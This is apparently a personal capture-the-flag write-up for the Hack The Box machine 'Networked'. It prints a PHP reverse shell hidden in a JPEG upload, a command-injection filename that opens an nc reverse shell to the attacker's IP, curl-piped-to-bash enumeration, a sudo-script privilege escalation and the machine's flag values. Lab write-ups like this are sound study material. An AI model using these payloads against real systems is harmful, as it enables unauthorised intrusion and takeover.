Tracker

  • User
  • root  

Loot

Proofs

FileFlag
user.txt526cfc2305f17faaacecf212c57d71c5
root.txt0a8ecda83f1d81251099e8ac3d0dcb82

Passwords

UsernameHashCleartextNotes

Interesting Artifacts

ArtifactOriginal PathSaved PathNotes

Summary

OS: Linux

Distribution: CentOS

Architecture: ?

FQDN: ?

vhosts: ?

Lessons Learned

When searching through PHP source code for vulnerabilities, search for the superglobals, or '$_'. These variables are available in all scopes throughout a script, and can indicate how a user interacts with the site.

Remember to search for easier reverse shell options, ie use 'which nc' or 'nc --help' to see if I have access to a version of nc that can execute with -e or -c. Also you can't use '/' in file names... duh.


Solution

Open Ports

ssh on tcp/22
OpenSSH 7.4

http on tcp/80
Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Foothold

First step, autorecon to control full tcp scan, top 20 udp port scan, and followup nmap service script scans.

Whoo, finally staring on this at 11:41am lolol. Decided to install pi-hole for some asinine reason.

Reviewed nmap tcp port scan output. It appears we're targeting CentOS, and the web server should support php.

Review of ssh service script scan on tcp/22 shows pubkey, gssapi, and password auth enabled.

Review of http service script scan on tcp/80 shows comments about upload and gallery dirs in index page comments, a backup and uploads folders in http-enum.

Review of gobuster shows following files:

/backup (Status: 301) \[Size: 235\]
/index.php (Status: 200) \[Size: 229\]
/lib.php (Status: 200) \[Size: 0\]
/photos.php (Status: 200) \[Size: 1302\]
/upload.php (Status: 200) \[Size: 169\]
/uploads (Status: 301) \[Size: 236\]

Ok, what's on the main page?

Not much helpful info. What about lib.php? Looks like all execution is server-side, I don't get any response, confirmed just a 200 OK in Burp also.

What about photos.php? Looks like they're trying to include photos from uploads/, but the php is an img src=, so I don't think that'll be exploitable.

What about upload.php? Looks like a regular upload page. I can prolly use this to upload to target.

 The backups folder has a tar archive. I download and extract it, and see that it is a backup of the php source code.

root@kali# wget <http://10.10.10.146/backup/backup.tar>
\--2020-11-25 12:10:54\-- <http://10.10.10.146/backup/backup.tar>
Connecting to 10.10.10.146:80\... connected.
HTTP request sent, awaiting response\... 200 OK
Length: 10240 (10K) \[application/x-tar\]
Saving to: 'backup.tar'
 
backup.tar 100%\[========================================================================================\>\] 10.00K \--.-KB/s in 0.002s
 
2020-11-25 12:10:54 (4.93 MB/s) - 'backup.tar' saved \[10240/10240\]
 
root@kali# tar -xvf backup.tar
index.php
lib.php
photos.php
upload.php
 
root@kali# la
-rw-r\--r\-- 1 root root 10K Jul 9 2019 backup.tar
-rw-r\--r\-- 1 root root 229 Jul 9 2019 index.php
-rw-r\--r\-- 1 root root 2.0K Jul 2 2019 lib.php
-rw-r\--r\-- 1 root root 1.9K Jul 2 2019 photos.php
-rw-r\--r\-- 1 root root 1.3K Jul 2 2019 upload.php

Looks like lib.php is the functions library for the other php pages on this site.

Let's look at photos.php. It looks like it reads the contents of /uploads into an array, then dynamically adds them to the page to display them. This should get around the issue of me not being able to know the file name of my uploaded file.

Now let's look at upload.php. Looks like it does a file type check first, by checking the mime type, then a file extension check, allowing only .jpg, .png, .gif, or .jpg, and assigns each file a tmp_name.

I added the below php reverse shell one-liner to the end of a file with the JPEG magic header.

<?php $sock = fsockopen("10.10.14.18",443);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

I was able to upload this file to the target host without any issue.

Requesting the photos.php page again included my uploaded image in the gallery. The page source code showed my file upload path and file name.

I did not actually need to hit the file directly, it ran and I caught the shell in nc just by requesting the photos.php page.

root@kali# nc -nvlp 443
listening on \[any\] 443 \...
connect to \[10.10.14.18\] from (UNKNOWN) \[10.10.10.146\] 40254
sh: no job control in this shell
sh-4.2\$

I was running as user apache, I needed to privesc to guly in order to read the user.txt file.

sh-4.2\$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2\$ ls /home
ls /home
guly
sh-4.2\$ ls -lAh /home/guly
ls -lAh /home/guly
total 28K
lrwxrwxrwx. 1 root root 9 Jul 2 2019 .bash_history -\> /dev/null
-rw-r\--r\--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r\--r\--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r\--r\--. 1 guly guly 231 Oct 30 2018 .bashrc
-rw\-\-\-\-\-\-- 1 guly guly 639 Jul 9 2019 .viminfo
-r\--r\--r\--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r\--r\-- 1 root root 44 Oct 30 2018 crontab.guly
-r\-\-\-\-\-\-\--. 1 guly guly 33 Oct 30 2018 user.txt
sh-4.2\$

Privesc to guly

Upgraded shell with /usr/bin/script trick.

sh-4.2\$ /usr/bin/script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null

Is there anything else that gobuster didn't find in the web root? No.

bash-4.2\$ pwd
/var/www/html
bash-4.2\$ la
total 16K
drwxr-xr-x 2 root root 24 Jul 9 2019 backup
-rw-r\--r\-- 1 root root 229 Jul 9 2019 index.php
-rw-r\--r\--. 1 root root 2.0K Oct 30 2018 lib.php
-rw-r\--r\-- 1 root root 1.9K Oct 30 2018 photos.php
-rw-r\--r\-- 1 root root 1.3K Oct 30 2018 upload.php
drwxrwxrwx. 2 root root 135 Nov 25 19:22 uploads

Anything else in /var/www? No.

bash-4.2\$ pwd; la
/var/www
total 0
drwxr-xr-x. 2 root root 6 Apr 24 2019 cgi-bin
drwxr-xr-x. 4 root root 103 Jul 9 2019 html

Ok, time for enum script. I switch to /dev/shm, make sure I have curl, then grab lse.sh from my http server.

bash-4.2\$ cd /dev/shm
bash-4.2\$ which curl
/usr/bin/curl
bash-4.2\$ curl -s <http://10.10.14.18/linux_smart_enum.sh> \| bash /dev/stdin -l 1

See output in scan dir.

Script shows I can write to /var/lib/dav, /var/lib/cache/httpd. Oh, I can read check_attack.php in the guly home dir, that was referenced in lib.php, I should read that. Oh, I can also read crontab.guly.

Reading crontab.guly first shows me that the check_attack.php script is run every 3 minutes.

bash-4.2\$ cat crontab.guly
\*/3 \* \* \* \* php /home/guly/check_attack.php

Ok, the check_attack.php file is owned by root, but I can still read it. Looks like it requires the lib.php file, that I should be able to write to. When someone visits

bash-4.2\$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
$msg='';
  if ($value == 'index.html') {
continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

In lib, the function of interest is check_ip. Looks like it checks to see if the IP is valid or not.

function check_ip($prefix,$filename) {
  //echo "prefix: $prefix - fname: $filename<br>\n";
  $ret = true;
  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
    $ret = false;
    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
  } else {
    $msg = $filename;
  }
  return array($ret,$msg);
}

I can't write to that location in /var/www/html.

Looking at the check_attack.php file again, I see there are exec() calls at the end of the script. Since exec() is like system(), if I can control any input into these lines, I can gain code execution. The $logpath var is hardcoded, I can't control that. The $path var is hardcoded, I cant control that either. The $value var is created by the foreach loop, and is the file name read into an array. This means if I can control the file name, I can name it starting with a semi-colon to end the nohup command, and execute whatever commands I want.

I can write to the uploads directory.

sh-4.2\$ ls -lAh
ls -lAh
total 16K
drwxr-xr-x 2 root root 24 Jul 9 2019 backup
-rw-r\--r\-- 1 root root 229 Jul 9 2019 index.php
-rw-r\--r\--. 1 root root 2.0K Oct 30 2018 lib.php
-rw-r\--r\-- 1 root root 1.9K Oct 30 2018 photos.php
-rw-r\--r\-- 1 root root 1.3K Oct 30 2018 upload.php
drwxrwxrwx. 2 root root 135 Nov 25 19:22 uploads

So I touch a malicious payload file, and confirm the file is there.

sh-4.2\$ touch \-- \'/var/www/html/uploads; nc -c bash 10.10.14.18 445\'
sh-4.2\$ ls -lAh
ls -lAh
total 24K
-rw-r\--r\-- 1 apache apache 129 Nov 25 19:22 10_10_14_18.php.jpg
-rw-r\--r\--. 1 root root 3.9K Oct 30 2018 127_0\_0_1.png
-rw-r\--r\--. 1 root root 3.9K Oct 30 2018 127_0\_0_2.png
-rw-r\--r\--. 1 root root 3.9K Oct 30 2018 127_0\_0_3.png
-rw-r\--r\--. 1 root root 3.9K Oct 30 2018 127_0\_0_4.png
-rw-r\--r\-- 1 apache apache 0 Nov 25 20:20 ; nc -c bash 10.10.14.18 445
-r\--r\--r\--. 1 root root 2 Oct 30 2018 index.html

And I caught a shell in my nc listener.

root@kali# nc -nvlp 445
listening on \[any\] 445 \...
connect to \[10.10.14.18\] from (UNKNOWN) \[10.10.10.146\] 58512

User Compromise

EoP Enumeration

First, can I sudo?

\[guly@networked shm\]\$ sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep=\"COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS\",
env_keep+=\"MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\",
env_keep+=\"LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\",
env_keep+=\"LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\",
env_keep+=\"LC_TIME LC_ALL LANGUAGE LINGUAS \_XKB_CHARSET XAUTHORITY\",
secure_path=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin
 
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh

I can on /usr/lcoal/sbin/changename.sh, so I b64 it to drop on kali and analyze.

\[guly@networked sbin\]\$ base64 changename.sh
IyEvYmluL2Jhc2ggLXAKY2F0ID4gL2V0Yy9zeXNjb25maWcvbmV0d29yay1zY3JpcHRzL2lmY2Zn
LWd1bHkgPDwgRW9GCkRFVklDRT1ndWx5MApPTkJPT1Q9bm8KTk1fQ09OVFJPTExFRD1ubwpFb0YK
CnJlZ2V4cD0iXlthLXpBLVowLTlfXCAvLV0rJCIKCmZvciB2YXIgaW4gTkFNRSBQUk9YWV9NRVRI
T0QgQlJPV1NFUl9PTkxZIEJPT1RQUk9UTzsgZG8KCWVjaG8gImludGVyZmFjZSAkdmFyOiIKCXJl
YWQgeAoJd2hpbGUgW1sgISAkeCA9fiAkcmVnZXhwIF1dOyBkbwoJCWVjaG8gIndyb25nIGlucHV0
LCB0cnkgYWdhaW4iCgkJZWNobyAiaW50ZXJmYWNlICR2YXI6IgoJCXJlYWQgeAoJZG9uZQoJZWNo
byAkdmFyPSR4ID4+IC9ldGMvc3lzY29uZmlnL25ldHdvcmstc2NyaXB0cy9pZmNmZy1ndWx5CmRv
bmUKICAKL3NiaW4vaWZ1cCBndWx5MAo=

Alright, I guess I'll run another enum.

curl -s <http://10.10.14.18/scripts/linux_smart_enum.sh> \| bash /dev/stdin -l 1

Can I just define a VAR to trigger this same type of exploit in the changename script?

\[guly@networked \~\]\$ export NAME=\'; nc -c 10.10.14.18 443\'

No, that's not working, but now when I try to run the command with sudo, I get prompted for input. Maybe I can manually type the netcat command.

\[guly@networked \~\]\$ sudo /usr/local/sbin/changename.sh
interface NAME:
id
interface PROXY_METHOD:
; nc -c 10.10.14.18 443
wrong input, try again

Nope, that's erroring out, it must not like the semicolon or something, what about without semi-colon, do I really need to halt the previous command?

\[guly@networked \~\]\$ sudo /usr/local/sbin/changename.sh
interface NAME:
guy0 nc -c bash 10.10.14.18 443
wrong input, try again
interface NAME:
\^C

Also not working, maybe the tac? I'll make a bash script that wiill execute nc rev shell.

\[guly@networked \~\]\$ cat test
#!/bin/bash
nc -c bash 10.10.14.18 443

Now, can exec that shell script as a variable?

\[guly@networked \~\]\$ sudo /usr/local/sbin/changename.sh
interface NAME:
guy0 /home/guly/test
interface PROXY_METHOD:
null
interface BROWSER_ONLY:
null
interface BOOTPROTO:
null
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: /home/guly/test: Permission denied
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: /home/guly/test: Permission denied
ERROR : \[/etc/sysconfig/network-scripts/ifup-eth\] Device guly0 does not seem to be present, delaying initialization.

Whoops, need to make it world executable first.

\[guly@networked \~\]\$ chmod 777 test
\[guly@networked \~\]\$ sudo /usr/local/sbin/changename.sh
interface NAME:
/home/guly/test
interface PROXY_METHOD:
null
interface BROWSER_ONLY:
null
interface BOOTPROTO:
null
ERROR : \[/etc/sysconfig/network-scripts/ifup-eth\] Device guly0 does not seem to be present, delaying initialization.

Hm, that didn't try to exec it this time? Oh, I forgot to insert a dummy var prepended to the script call.

Ran it again and caught a shell.

\[guly@networked \~\]\$ sudo /usr/local/sbin/changename.sh
interface NAME:
null /home/guly/test
interface PROXY_METHOD:
null
interface BROWSER_ONLY:
null
interface BOOTPROTO:
null

root/SYSTEM Compromise


Next: Servmon